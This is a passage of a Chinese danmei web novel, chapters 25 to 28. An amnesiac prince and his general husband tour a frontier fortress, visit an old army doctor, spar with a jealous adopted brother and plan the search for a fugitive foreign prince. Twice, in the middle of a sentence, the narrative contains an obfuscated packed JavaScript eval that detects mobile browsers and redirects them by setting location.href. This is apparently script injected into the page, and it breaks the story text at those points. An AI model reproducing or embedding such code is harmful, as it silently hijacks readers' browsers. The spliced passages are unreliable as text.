谢淮屿解释道:“霆昭是我爹收的义子,现是镇北军中郎将,虽只有十七岁,但骁勇善战,人机灵聪明,我有意培养他。” 见他还夸上了,孟祈安气到口不择言:“我去云容楼,你就戳我一枪,自己却在边关养了个弟弟……” 谢淮屿:“胡说八道什么!爹娘很喜欢孩子,收养了军中百名无父无母的孤儿,吃穿用度皆从谢家俸禄中出。霆昭的爹六年前战死沙场,他娘不久后也跟着去了。公祭恤典时,我爹见瘦骨嶙峋的霆昭抱着他爹的陌刀蹲在树坑里,哭得眼都干了,当即便让我将他领回家收为义子。” “啊……”孟祈安怔住,喉结动了动,手指摩挲着碗沿喃喃道,“原来他身世如此可怜……”他胸口的闷气像被戳破了皮囊散了个精光,心软了。 谢淮屿欲言又止道:“我爹娘收养义子……其实也是因为你我。” 孟祈安不解:“与你我有何干系?” 谢淮屿垂眸:“……你我成婚,生不出子嗣……” 孟祈安僵住:“…………”好有道理。差点忘了。 “我给你盛汤。”孟祈安释然了,将陆霆昭挑衅他的事咽回了肚子里。既然是岳丈的养子,王妃的义弟,那也就是他的义弟。他这个做哥哥的,不能跟弟弟计较。 此事翻篇,谢淮屿接过碗筷问:“给陛下去信报平安了吗?” 孟祈安:“嗯,昨日夜里写的,一早镇北军情报网就寄送出去了。” 谢淮屿问道:“今日想做什么?” 孟祈安想了想说:“可能读书写字吧……” 谢淮屿:“快吃,吃完带你逛逛建宁关。” 孟祈安眼睛一亮,问道:“当真?我还未到过边关,有什么有趣的地方?” 谢淮屿伸手替他擦去唇角沾上的汤汁,又把人弄成个大红脸,说道:“你不是第一次来。” 用罢午膳,两人换上粗布衣衫,戴上北境特有的浅露斗笠,甫一出将军府,狂风裹挟着砂砾扑面而来,天地间一片昏黄。 “这里终年如此?”孟祈安眯起眼问道。 “冬春尤甚,”谢淮屿将他往自己身边带了带,替他将浅露塞好,“所以百姓出行必戴斗笠。” 建宁关是北境十三重镇之首,城墙高逾三丈,每个百步便有瞭望塔。城中百姓多是军户,也有不少往来商队。城中商铺医馆客栈酒肆应有尽有,若不是有大批镇北军,俨然就是一座繁华大城。再往北百余里便是边境,十三重镇犹如一道钢铁城墙,阻隔来自北方蛮族的威胁,护卫着大承的安宁。 城中有许多野猫,在城墙上、商铺台阶上、屋顶上懒洋洋地晒着太阳。 “这些猫儿……” 谢淮屿笑道:“镇守粮仓的。边关苦寒,将士们宁可自己少吃一口,也得给它们留下些吃食。” 他弯下腰挠了挠一只金丝虎的下巴,那胖猫便眯着眼睛翻出肚皮给他摸。 孟祈安看着这惬意闲适的光景,突然问道:“淮屿……你我是怎么成婚的?” 孟祈安自打知道两人的关系,就陷入了“是怎么好上的”问题中苦思不得其解。目前他能肯定的是,他的身体确实对谢淮屿有感觉,谢淮屿的一举一动都牵扯着他的心。十岁——他所有的记忆中都没有迹象表明他喜欢男人,当然这不是说就喜欢女人,现在他的内心只是个尚未初开情窦的少年,被“赶鸭子上架”跟谢淮屿成了对夫妻,倒有点包办夫妻的意思。 说实话,在得知谢淮屿便是他的王妃时,他震惊之余并未有排斥。 谢淮屿手指微顿,还未作答,孟祈安又急着问道:“是不是皇兄逼着你……?”毕竟谢家在大承三军中的威信远超任何人,若是联姻,那谢家对孟氏皇权的忠心会更上一层楼。 “没有。”谢淮屿截断他的话道,“我是自愿的。” 孟祈安耳尖发烫:“真的……心悦于我?” 谢淮屿眼底泛起温柔笑意,说道:“我又不是失忆之人,无人可逼迫我。你我之间,是真心换真心,情之所钟。” 孟祈安心如擂鼓:“那我……也心悦你?” 谢淮屿忍俊不禁:“嗯,你追求的我。” 孟祈安:“当真?你可不能糊弄我!” 谢淮屿:“千真万确,我发誓没有骗你。不过话说回来,十二岁那年你突然向我表白,问你缘由你却死活不说,等你恢复记忆,可要亲口告诉我。” 两人并肩沿着城墙铺下的阴影走了一阵,谢淮屿看看日头道:“忘了你要睡午觉了,困不困?” 孟祈安道:“还睡午觉的话,我能这么快赶来建宁关?早就戒掉了。”他可是生怕皇兄反悔,千里奔袭而来的。 谢淮屿本来是气他擅自来建宁关的,但见到他的那刻,表面上装得平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245875|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,其实放下心来比谁都高兴。这两天,他时而想孟祈安在建宁关吃苦不如在严华城呆着,时而想远在严华城不如在自己身边,别扭得很。但无论如何,孟祈安说想见他,他心中便泛起甜蜜,之前的患得患失一扫而空。 “这么想见我?” 孟祈安坦然承认:“可不。” 谢淮屿眼神在浅露后面暗了暗,低声道:“快些想起来吧。” 说话间,两人到了药铺,临走时太医院使开的方子,这里大部分都有,唯独少了一味金寄奴。药铺里的老郎中战时便是军医,医术高超,脾气也古怪得很,说:“哪个龟孙儿开的方?金寄奴是南方特有的,北境哪里找?我这儿只有五灵脂。” 谢淮屿问:“五灵脂效果如何?” 老郎中面无表情道:“五灵脂单活血化瘀的效果不及金寄奴,但看方子是归脾补心的,难不成是失忆?病人在何处?” 孟祈安:“大夫,是我。” 老郎中一把掀开他的斗笠,本来的臭脸突然变得惊讶:“安王殿下?!” 孟祈安:“您认得我?” 老郎中那满是沟壑的脸浮现出欣喜:“当然认得,六年前您救过不少将士的命。” 谢淮屿:“六年前,你带地方军前来支援,助镇北军脱困,后来又带领后方军医救助伤员和百姓。天灾人祸后最容易引发瘟疫,战后死伤惨重,你们不眠不休一月有余,才没有爆发瘟疫。” 老郎中抹抹眼泪,问道:“殿下怎么失忆了?” 谢淮屿给他讲了讲缘由,老郎中一改之前世人都欠他八百贯钱的态度,认真道:“太医开的方子固然很好,但过于保守。殿下的失忆之症,如此保守治疗,虽然不会出错,但猴年马月才能想起来?” 他拉过孟祈安的手腕,把了把脉,眉头由松到紧,再松再紧,口中念念有词,最后放开道:“殿下颅内恐怕有损伤,并非普通气血不畅经脉阻滞,再怎么用活血化瘀的药也无法触及根本。” 谢淮屿紧张道:“那要如何?” 老郎中:“老小儿老家曾有过一例,一儿童从树上掉落,磕到了脑袋,变得疯疯癫癫,不识父母。郎中给开的也是活血化瘀的药,但就不见效,孩子只要思虑过甚,就会头疼难忍。” 谢淮屿:“这症状与祈安的极为相似,后来如何医治的?” 老郎中:“我师父给那孩子用了清热止血、凉血散瘀的药。吃了一个月孩子有好转,半年后就痊愈了。” 孟祈安:“您可记得药方?” 老郎中:“药引是童子尿……” 孟祈安:“谢谢不用了。” 老郎中:“我师父说若是不吃药,也有别的法子。” 谢淮屿:“什么法子?” 老郎中:“肾主藏精、精能生髓、髓汇为脑,殿下失忆的核心病机是诸邪伤脑,以致元神失控,称为脑损神敝。也就是说,要补肾。” 孟祈安:“??”听不懂,但感觉不是什么好法子。 老郎中继续解释道:“我给殿下开一些补肾益气的方子,殿下每日配合按摩气海、涌泉、肾俞、命门、关元等穴位,若是坚持得好,不出十天应该就能看到效果。” 26.第 26 章 两名银甲将士踏入医馆,抱拳道:“大将军,夕照城那边回信儿了。慧将军请您去议事所商议。” 老郎中正在柜台后备药,孟祈安道:“你去吧,我在这儿等着就行。” 建宁关城头旌旗猎猎,镇北军大营固若金汤,绝不可能有危险,谢淮屿道:“那我叫亲兵来陪你,一会儿抓好药就回家,晚上我回家吃饭。” “回家吃饭”几个字让孟祈安心窝像泡了蜜一样,甜得发软。 谢淮屿给他理了理衣领,指腹在他耳垂上轻轻一蹭,压低声线说:“睡前给你按摩。” 孟祈安顿时脸又红了,抓着袖口心想按摩是正常治疗,为何自己会脸红?都怪谢淮屿不好好说话。 谢淮屿走后,老郎中从柜后探出头道:“殿下,让您补肾,不可妄动元阳,泄精等于泄气,再好的药都没用。” 孟祈安的耳朵尖都染上绯红,心头如春风拂过冻土:“什么、什么泄……我才不会呢……”十岁时他什么都不懂,天天只会淘气,也不往那边想,现在突然给了他一个老婆,还聊上了大人的话题,让他如何能不好奇,“再说了,两个男子也做不了什么吧……” 老郎中正在药斗子里取药,闻言猛一回头:“殿下把那档子事也给忘了?”他朝孟祈安眨眨眼道,“两个男子,能寻的乐子不比普通夫妻少,可谓妙不可言。老小儿给您讲讲?” “不必!”孟祈安腾地站起身,腰间玉佩叮当作响,他面皮薄,脱口拒绝,但又实在是好奇,咬咬牙改口道,“不过也不妨一听……” 老郎中:“不行,您得禁欲,那还是先别知道了,回头病好不了,有损我北境神医的名号。” 孟祈安:“…………”烦不烦! 医馆的大门忽然被人推开,一人卷着黄沙进了屋。 陆霆昭一眼就看见了坐在柜台旁边的孟祈安,脚步微顿,接着就风风火火地走过来,在孟祈安面前站定,不情不愿地抱了个拳,道:“大将军命我送你回府。” 孟祈安看见了他眼中的鄙夷和不屑,心想不跟小孩儿一般见识,在凳子上端坐着,喝了口茶才矜持地点了下头:“有劳。” 陆霆昭见他那端着架子的劲儿就来气,目光中透出威慑。就像剑客有剑气一样,他们上战场杀敌的人,最讲究气势,有时候不必动手,一个眼神就能让敌人望而却步不攻而退。 然而他甩了一个眼刀,对方没有反应,又甩了一个。 甩到第三个时,孟祈安问:“你眼睛进沙子了?” 陆霆昭:“……” 孟祈安:“快去冲冲。” 陆霆昭横眉怒道:“你看不起我?!” 孟祈安好整以暇道:“你一个小孩,怎么成天苦大仇深的?” 陆霆昭脸红脖子粗吼道:“谁是小孩!?” 老郎中去后院拿药回来:“小陆来了?正好我备药还得有一会儿,你帮我个忙。” 陆霆昭瞪着孟祈安,从他身边走过去,还撞了他一下。 老郎中掀开帘子说:“后院的下水暗渠堵了,你帮我通通。” “又堵了?”陆霆昭惊讶又无奈道,“姜叔,我都说了,您不能老把药渣倒进暗渠,倒一次两次不会堵,每天倒好几回,肯定会堵啊!” 老郎中:“得了得了,我知道了,每次刷药壶总是忘了先倒药渣子……以前这事儿都是小俊子小连子他们干,这几个都随军去了,只能老头我自己干了……” 小俊子小连子是老郎中的学徒,老郎中的学徒学出来之后都是随军,今年局势紧张,医馆里的四个学徒全都随军去了,只剩下他一个人。 陆霆昭将陌刀靠墙放好,撸起袖子道:“我去看看。” 暗渠一头连着水池子,水池里满了,淡褐色的水里飘着不少腐臭的药渣、饭渣,着实令人作呕。 “姜老头,你怎么弄成这样?!”他闭上眼睛屏住呼吸,手伸进水池底部的管道里抠。 抠了半天,冒了几个泡,水面下降了一点又塞住了。堵的地方在下水口里面,他的手够不到,左找右找拿起一根长签子往里捅,然而铁签子笔直,下水口却是弯的。 他把签子扔在一边,胳膊上挂着药渣子,袖子也全湿了。一回头瞧见孟祈安在躺摇椅上,手里拿着几根树枝在玩。 他愈发看孟祈安不顺眼了,别人都说安王当年救了镇北军,他不信,眼前这人看着就娇弱懒散,能坐着就不站着,能躺着就不坐着,一副没骨头的样子。只不过仗着自己是皇子得圣宠能调兵,就占了全军上下的感恩,忒不要脸。尤其是淮屿哥,还为此以身相许。那是淮屿哥啊,不到二十岁就当上了大承的镇北大将军,勇冠三军,威名赫赫,是大承最英勇强大的男人,也是他最崇拜、视为榜样的人。 他上辈子修来的福气,这辈子能被老将军收为义子,成为淮屿哥的义弟,他从来不敢懈怠,每日勤加练武,学习兵法,战时冲锋在前身先士卒,巡城时兢兢业业恪尽职守,只求不让淮屿哥失望,淮屿哥称赞他两句,他能把命豁出去。 即便如此努力,淮屿哥依旧只把他当成个孩子。 北风吹过,粗糙的砂砾早已对他的皮肤造不成伤害。在得知淮屿哥与一个男人成婚了,他才意识到淮屿哥喜欢男人,既然淮屿哥喜欢男人,那为何非得是这个废物王爷?他的手臂冰冰凉,越想越生气。 孟祈安将树枝编成弯弯长长的一条,又用裁药的小刀削起树皮来。 凭什么!陆霆昭心道,他不比我还幼稚?这么一个纨绔王爷,如何能让淮屿哥依靠终身? 他大步走到孟祈安面前,还没开口,孟祈安便将树枝递给他:“用这个通暗渠吧。” 陆霆昭愣住了,没接。 孟祈安往他怀里一塞:“拿着作甚,快愣着啊!” 陆霆昭接住树枝,是医馆用来挂药材的柽柳条。柳条风吹日晒的极为柔韧,几根编在一起便有了硬度,再用稻草绑住更结实,成了一根柳条“弯弓”,弯弓的一段可以手握,另一端则被孟祈安削出不少枝杈,像是倒刺一样。 陆霆昭立刻明白了原理,将弯弓倒刺一段插丨入水池底部的下水口,因为是倒刺,所以很容易便进入淤堵之中,来回抽丨动几下,淤堵物便松懈开来,大块的残渣勾在倒刺上带出来,小的碎的则随着水池里的水被冲了下去。 水池里出现一个漩涡,发出咕——的一声空响,通了。 陆霆昭:“……” “哎呀真好用!不愧是安王殿下!聪明绝顶!足智多谋!心灵手巧!”孟祈安站在他身后探头往水池里瞧,见他瞪着自己,又说道,“猜你说不出口,本王就替你夸了,不用谢。” 陆霆昭从未见过如此厚颜无耻之人,无语道:“你要脸不要?” 孟祈安:“要的。一层一层叠加起来,保准撕不动。” 陆霆昭:“淮屿哥怎么会看上你这无赖?一定是你不要脸强迫的他!” 骂一句可以,一直骂菩萨都得生气,孟祈安故意气他道:“哎,真让你说准了,本王一直以为自己是单恋,没想到你淮屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255631|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥爱我爱到心坎里,非得与我成婚,你说这可如何是好啊?” 陆霆昭指着他的鼻子骂:“你不要脸!” 孟祈安挖挖耳朵:“翻来覆去就这一句,听得本王耳朵都起茧子了。” 陆霆昭能动手绝不动口,可偏偏这人既是皇亲国戚又是大将军夫人,他揍不得,憋了一肚子火发不出来,只能靠言语与之过招:“你配不上淮屿哥!” 孟祈安早上为这句话伤心,后来谢淮屿解释过后,他又为陆霆昭的身世唏嘘不已,笑得露出白牙道:“本王配不上他?那谁能配得上?你吗?” 他本来是开玩笑的,可谁知这句话像是往水里扔了一块石头,陆霆昭那稚气未脱的脸顿时变得五颜六色甚是鲜艳,羞赧难堪痛苦紧张,唯独没有生气。 这可不好玩了。 孟祈安心中警铃大作。 他以为这小孩只是单纯嫉妒他抢走了哥哥,如今看来,陆霆昭对谢淮屿怀有特殊的感情。 这感情有多特殊?孟祈安一眼就看出来了。他不介意被骂,还两句嘴也挺有意思,但对他的王妃动了心思,那问题就严重了。 不管十七岁二十七岁还是七岁,都甭想惦记谢淮屿。 谢淮屿是他的。 他的表情突然变得如同被黄沙遮蔽的天一样阴沉,陆霆昭忍不住吞了吞口水,竟自心底生出一丝紧张。 “手伸出来。”孟祈安沉声道。 陆霆昭还没反应过来,手就已经伸了出来。 啪的一声,孟祈安不知道哪里找来一块陶泥,狠狠拍在他掌心里。 “这是什么!?”湿哒哒的触感让陆霆昭汗毛直立。 孟祈安指指水池子:“塞进下水口,多余的去掉不要。” 陆霆昭:“你凭什么命令我?” 孟祈安看傻子一样看着他,说:“你说凭什么?本王堂堂一个亲王还使唤不动你了吗?再者,你是谢淮屿的义弟,我是谢淮屿的夫君,按辈分,你也得喊我一声兄长!你要是不听我的,我就跟谢淮屿说,你无端辱骂我,看他是向着你还是向着我。” 陆霆昭:“你!” 孟祈安按着太阳穴:“哎呀,本王坠马神敝未愈,你一说话,我就头痛……”说着又歪倒在摇椅上。 陆霆昭半晌才憋出一句与刚才不同的话来:“太贱了。” 他按照孟祈安说的,把陶泥做成与下水口大小一致的碟状,孟祈安又让他抠出来戳几个绿豆大小的洞,拿去窑厂烧制:“烧成之后,置于下水口,水可以流下去,药渣被篦在池子里,最后一撇就好,不再会堵塞暗渠了。” 孟祈安说完便起身去前厅拿打包好的草药,陆霆昭看着手中的倒刺弯弓和陶泥陷入了沉思,他帮老郎中通过七八回暗渠,每次都是弄一身水抱怨老郎中图省事,虽然他也知道老郎中平时事多,加上年纪大了改不了习惯,但也从来没想过如何从根本上解决这件小事。 他没说话,将弯弓挂在水池边,跟到了前厅。 孟祈安拢好了浅露,葱白修长的手指指打包好的草药说:“拿上,回府。” 陆霆昭:“……” 两人一前一后谁也没说话,到将军府门口,刚好碰见了谢淮屿。 “淮屿哥!!” “哎呀~!”孟祈安脚下一绊,眼看要摔倒。 谢淮屿赶紧扶住他:“怎么了?崴到脚了吗?” “嗯,不知被什么绊了一下。”孟祈安顺势搭住他的肩,回头朝陆霆昭眨眨眼,“淮屿,你抱我进去~” 27.第 27 章 一进了府孟祈安就说:“放我下来吧。” 谢淮屿:“脚不是崴了吗?我叫大夫来看看?” 孟祈安:“不用,没崴,我气陆霆昭的。” 谢淮屿放他下来,不放心,还是扶着他的手臂,问道:“当真没事?” 孟祈安:“没事。” 谢淮屿轻笑道:“霆昭哪里惹你了?气他作甚?” 孟祈安往里面走:“不告诉你。” 见他活蹦乱跳,谢淮屿放了心,与他并肩回房:“霆昭那孩子就是脾气有些急躁,但为人正直有责任心,能堪重任。” 孟祈安嘟囔:“也就你把他当孩子。” 两人回房,饭菜已经上桌。 孟祈安问道:“下午你急匆匆去议事所,可是出了什么事?” 谢淮屿:“我在找明翰的踪迹。” 孟祈安:“罗傲的三王子?” 谢淮屿:“是。两个月前,明翰王子从罗傲都城逃出后就失去了踪迹。带走的三十名亲卫中有二十人分四路逃离,据探子回报,皆已殉国。” 孟祈安:“他想混淆视听,趁机逃脱明措的追杀。” 谢淮屿:“正是如此。他们为明翰争取到了逃脱的时间,算是死得其所。至今明措还像没头苍蝇般乱找一气。” 孟祈安称赞:“这明翰是个躲猫猫的好手。” 谢淮屿笑道:“什么躲猫猫,八成是易容化成了其他身份。”大将军忽而面色凝重,“明措的狼骑半月前倾巢而出,四处搜寻明翰,他不能一直躲下去。” 孟祈安:“狼王圣物在他手里,对明措来说确实是个威胁。毕竟同为王子,谁有圣物谁就得民心。明翰其实大可以原地亮出身份,直接逼宫。” 谢淮屿:“谈何容易。明措敢明目张胆地追杀他,就说明根本不怕他亮出狼王圣物。” 孟祈安点头称是:“以他弑父弑亲的作为,恐怕也不惧世人的看法。只要明翰敢亮出圣物,他就敢杀,反正罗傲王室只剩下他们俩兄弟了。明翰死了,圣物到手,明措就更名正言顺了。狼子野心这个词简直是为他量身定做的。” 他歪头想了想说:“明翰不傻,他肯定知道一直躲着迟早会被找到,难道就没有别的办法了吗?” 谢淮屿道:“罗傲大军眼下由典胜将军执掌,典胜此人无父无母无妻无子,在军中威望很高,明措也拿他没办法。他自小在狼群中长大,是狼王神最虔诚的信徒。你可知为何明措谋反篡位时,他手握重兵却既不勤王也不附逆?” 孟祈安:“他想坐山观虎斗?” 谢淮屿:“是的,典胜没有子嗣,对王位不感兴趣,我猜他只是想恢复罗傲王族的传统——由家族中厮杀获胜的王子继位。” 孟祈安:“所以他按兵不动,既不帮明措追杀明翰,也不帮明翰逃脱明措。最后两位王子谁幸存下来,谁就是他的主子?” 谢淮屿给他夹了块白斩鸡:“狼群中,头狼也是挑战者中胜利的一方担任。” 孟祈安:“那明翰岂不是很被动?我希望明翰能活下来。” 谢淮屿:“大承本不该参与罗傲国的内斗,但若是明措称王,加上典胜的大军,大承边境注定将永无宁日。” 孟祈安:“所以你也在找明翰?” 谢淮屿:“对,明翰成为新的罗傲王,是对两国都好的结果。” 孟祈安问他:“可有线索?” 谢淮屿道:“我方探子兵分几路,跟着明措狼骑。前日在东裕山白桦林找到了明翰给亲卫留下的标记,他还不知道那二十亲卫已经死了,想借标记告诉亲卫他的位置。探子循着标记找过去,并未发现其踪迹。我加派人手在附近搜寻,目前还没有线索,他很有可能已经走远了。” 孟祈安:“啊,线索就这么断了……一定要在明措之前找到明翰。”他鼓着腮帮子嚼丸子,说道,“不过也不用太担心。” 谢淮屿:“此话怎讲?” 孟祈安:“东裕山离罗傲都城八百里,离建宁关两百里,说明明翰不傻,他知道自己没有兵力没有依靠,所以想方设法南下来投奔大将军你呀。” 谢淮屿不是没想过这个可能,他没见过明翰,只是听说过他的为人,谨慎起见,若是明翰真的求助于他,合作先放在一边,他定会先救其脱困。 孟祈安继续说道:“如果他要投奔你,最好的方法就是寻找最近的互市。互市上有镇北军巡逻,他只需要找到镇北军,就能见到你。但两个多月过去了,他却没有找你,要么说明他胆子太小,不敢轻举妄动,要么说明他还没完全信任你。若是前者,那他也不可能跟明措斗了这么多年,若是后者,那你增派人手搜寻他,会令他藏得更深。” 谢淮屿为他布菜,问道:“依你之见我该如何做?” 孟祈安举着筷子站起身来,走到展开舆图的桌前,找到东裕山,一边啃花卷一遍仔细地看了起来。 半晌,他指着附近的几座城镇问:“这些地方想必都找过了吧?” 谢淮屿:“是。” 孟祈安托着下巴再次陷入沉思,片刻后道:“罗傲国信仰狼王神,我记得他们全国实行天葬,死后会将尸体抬到荒漠上,由狼群啃食殆尽。几座城镇附近都有天葬台,狼骑害怕亵渎神明,绝不会去天葬台搜查,即使搜查,也不会去翻死人堆。我若是明翰,定会躲在天葬台附近躲避追杀,顺便观察镇北军动向,伺机而动。” 谢淮屿:“明翰也是有信仰之人。” 孟祈安:“有圣物在身,他就是狼王的血脉,还有什么好担心的。” 谢淮屿:“那我派人在附近的城镇蹲守,肯定有人打包饭菜饮水,跟着这些人想必就能找到明翰了。” 孟祈安见他认真思考自己的想法,笑问:“怎么样?你夫君厉害不?” 谢淮屿:“嗯,天葬台确实还没有找过。” 孟祈安得意道:“给个奖励呗?” “奖励?”谢淮屿笑问,“末将还有什么能给殿下的?” 孟祈安想了想,凑过去,指指脸颊:“亲我一下。” 谢淮屿一愣,紧接着笑了起来。 孟祈安:“你笑什么?” 谢淮屿捂着脸道:“你可真是……跟没失忆的时候一模一样。” 孟祈安:“以前我也跟你讨亲亲奖励吗?” 谢淮屿脸上出现一言难尽的表情,犹豫道:“……差不多吧,只不过没这么幼稚。” “好家伙,亲一下也幼稚?”孟祈安不乐意了,说道,“你我是夫妻,亲一下是情趣,你再说我幼稚,我可让你亲嘴了,快点快点。” 谢淮屿被他纯情的模样逗得想笑,绷着脸摇头道:“还未找到明翰,等找到了再给你奖励。” 孟祈安不服气:“敢不敢跟我打赌,明翰一定就在某处天葬台!” 谢淮屿:“行啊,若是依你所说找到了明翰,我就多给你一份奖励。” 孟祈安以为他的意思是一边脸蛋亲一下,心想还说我幼稚你更幼稚,与他击掌道:“行!一言为定!” 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那双常年握枪的手带着薄茧,温温热热,触上皮肤的瞬间,激起的战栗直接顺着脊柱攀上后脑。 “冰吗?”谢淮屿见他身体紧绷,以为凉到了他,问道,“冷不冷?” “……”孟祈安犹豫了下,说道,“没有没有,不冰。隔着衣服按不舒服,我把衣服都脱了吧?”说着起身把里衣脱掉又趴回床上,“继续继续。” 他本来就白,在王府天天以温泉水沐浴,皮肤细若凝脂,触手滑腻。 谢淮屿给他按着腰背,忍不住问道:“祈安,你这段时间有锻炼吗?结实了不少。” 孟祈安一听就来了精神,得意道:“这么明显?我练了你给我的秘籍!一开始很累,现在已经能一次打两三次呢!” 谢淮屿:“难怪刚才抱你觉得沉了,还以为你吃太多变胖了。” “你说什么!你才胖!”孟祈安翻身拉他,将他拉到床上,两人滚作一团。 孟祈安把人压于身下,笑容却僵在脸上。谢淮屿发丝有些凌乱,一双瑞凤眼眼尾微微上扬,眸色比一般人要暗,烛火跳动,他的眸中也好似盛着远星,唇瓣因为干燥风沙和缺乏滋润有皴裂,裂口泛着白,里面却是鲜红的。 孟祈安呆呆地看着他,忽然明白了为何他会爱上谢淮屿。 媚骨天成。 媚而不妖,美而不羸。 他的呼吸突然粗重急促起来,问道:“你我成婚之后,圆房了吗?” 他问得毫不遮掩,谢淮屿面上一热:“嗯。” “怎么做?”孟祈安急躁地问,头又隐隐作痛,“教我。” “话本里的是真的吗?” 谢淮屿:“你又看那些话本了?” 孟祈安:“怎么了?不能看吗?” 谢淮屿:“不要乱看,影响身体,都不是真的。” 孟祈安有些失望,问他:“那要怎么行房?我想不起来。”他急得像只吃不到肉肉的小狗,手扒拉着谢淮屿的衣服,口干舌燥道,“你教教我。” 谢淮屿抓住他的手:“别想了,姜大夫不是说了吗?你得补养肾气,不可……” “我就要!”孟祈安耍赖一流,裸着半身跪在床上,黑色长发发梢散落在脚边,颇有些楚楚可怜的意思,“想不起来就想不起来……早上我就想同你说,我不想回忆过去了,左右这辈子都是你了,我要重新追求你。” 28.第 28 章 议事所。 军中大将都在,慧云飞说道:“末将见前几日大将军忧心得很,如今殿下来了建宁关,大将军也可放心了。” 右将军道:“谁说不是呢,咱们当兵的,家眷平安才能安心在战场上厮杀。” 龙骧将军道:“是,不过安王殿下并非寻常家眷,颇有胆色,对咱们大将军也是一往情深,你们谁的家眷能奔赴千里找来这苦寒之地?” 众人附和,唯有陆霆昭嗤之以鼻:“他一个养尊处优的王爷擅自跑来边关不是添乱吗?” 慧云飞:“殿下金尊玉贵,但并非养尊处优的纨绔,对待武将士兵不端架子,六年前在军中与将士们同吃同住没有怨言。霆昭,你若与殿下熟悉了,自然知道他的为人,莫要先入为主带了偏见。” 陆霆昭:“我只知,他总让淮屿哥忧心,属实是个麻烦。” 右将军揉乱这个比自己还高的小子的头发,笑道:“你还是个孩子,等成了婚就明白了,能有个知冷知热知心知意的人,让你牵肠挂肚,是福气。” 都是武将,粗鄙惯了,众人起哄右将军说话酸,只有陆霆昭低着个头望着地板。 门外一阵脚步声,谢淮屿步入议事所,所有大将顿时停止喧哗,起立行礼:“大将军!!” 谢淮屿将披风解了撂在一旁,说道:“坐。” 众将士在长桌旁坐定,慧云飞道:“五路兵马于昨夜子时出发,若是在最近的互市天葬台发现明翰王子的踪迹,最快的今晚就能传回消息。” 谢淮屿:“得尽快找到他。明翰距离大承边关近一分,便能少去一分的麻烦,借互市之便将其带回建宁关。” 慧云飞:“探子回报,狼骑兵一直徘徊在夕照城,怕是得到了什么风声。” 谢淮屿:“陈书,你和霆昭带人去看看,不要入城,以免打草惊蛇。” 右将军陈书、陆霆昭:“遵命!” 众将皆领了命令离开了,慧云飞留了下来,说道:“大将军,您命我查的白家村的事有线索了。” 白家村就是当年被明措放火屠杀的村子之一。六年前,罗傲大军在罗傲王和典盛将军的率领下大举进犯大承。谢淮屿的父亲率镇北军迎战,只用半个月,便将罗傲军从建宁关击退至德保城。 敌军退守德保城,利用天然的地形优势防守,德保城久攻不破,城中百姓惨遭搜刮屠杀。谢老将军心急如焚,年仅十七岁的谢淮屿带了一支三千人的队伍从地势险要的白渠河谷绕行八十里,想从德保城后方飞降入城。然而不知怎么走漏了消息,明措带狼骑兵在沿途村庄埋了硝石,故意杀人放火引镇北军追击,然后引爆硝石,致使谢淮屿的军队几乎全军覆灭。 这件事是谢淮屿心中的一根刺,六年过去了,这根刺非但没有消失,反而越扎越深,时不时提醒他要为三千同袍报仇。他伤愈后再次回去过白家村,此地偏僻远离官道,若非有人泄露谢淮屿将率军从此地经过,明措绝无可能提前部署、埋放硝石。 这些年他一直在调查到底是谁出卖了情报,但知道他们会绕行白渠河谷的将领,几乎都死了,没死的也都是刎颈之交,绝无出卖的可能。 慧云飞:“陷阵营武库中有一工匠,名叫项五。六年前大战时突然失踪,本以为他死在乱刀之中,或是做了逃兵,因为没找到尸首,做失踪结案,恤金送至县衙一直也未有人领取。一个半月前查封达州私矿,抓到的矿工口供中有一位监工与他姓名相同,外形相似,口音也相似。” 谢淮屿:“人在何处?” 慧云飞:“被他逃了。” 谢淮屿皱眉道:“陷阵营……死去的兄弟,大多是陷阵营的。他在陷阵营中做随军工匠,能出入军营,当年是有机会偷听到军情的。” 慧云飞道:“是,大将军,属下怀疑是他将消息传出后,畏罪潜逃了。” 谢淮屿:“达州……又是达州。那批非法兵刃可有下落了?”达州私矿的事后来移交新任达州太守处理。 慧云飞回道:“没有。达州地处偏远,到处都是人迹罕至的密林,一头扎进去很容易便迷失方向,而且山林多雨,转移走兵刃的车辙痕迹被雨水一冲就没了,根本无从找起。达州太守将此事上报朝廷后,陛下命他继续找。不过属下认为过去这么久,能找到的可能不大了。” 谢淮屿沉吟道:“派人盯着点关卡,凡是出关的货物都要检查。” 慧云飞:“大将军认为那批兵刃是要运到罗傲的?” 谢淮屿:“极有可能。罗傲百姓鲜少事农耕,铁矿更是贫瘠,所以他们的军械兵刃大都是从大承黑市购得。这件事早在先皇刚登基时便严令禁止,凡向罗傲倒卖兵刃者,以叛国罪论处,当年有三百多黑市商人、私矿矿主和工匠都被处以极刑,以儆效尤。同一时间,各类矿山也被收归国有,禁止私采。” “我见六年前罗傲进犯大承,军队所用的兵刃大多还是旧的,但狼骑兵的兵刃却是新的。除非罗傲国有新开的铁矿,否则只有一种可能,大承国内还有人再向明措提供军械。” 慧云飞惊呼:“如此看来,德王跟明措有勾结?” 谢淮屿:“德王与陛下之间的龃龉由来已久,德王十年谋划一朝谋反尚可理解,但若说他一直跟明措勾结,我倒觉得不太可能。” 慧云飞:“是,属下见过德王几次,如传言所说耽于享乐,不似计谋深远之人。” 谢淮屿:“此事再议,当务之急是找到明翰王子和项五。” 、 薄云搅碎了月光,边关上热闹的城镇陷入寂静。 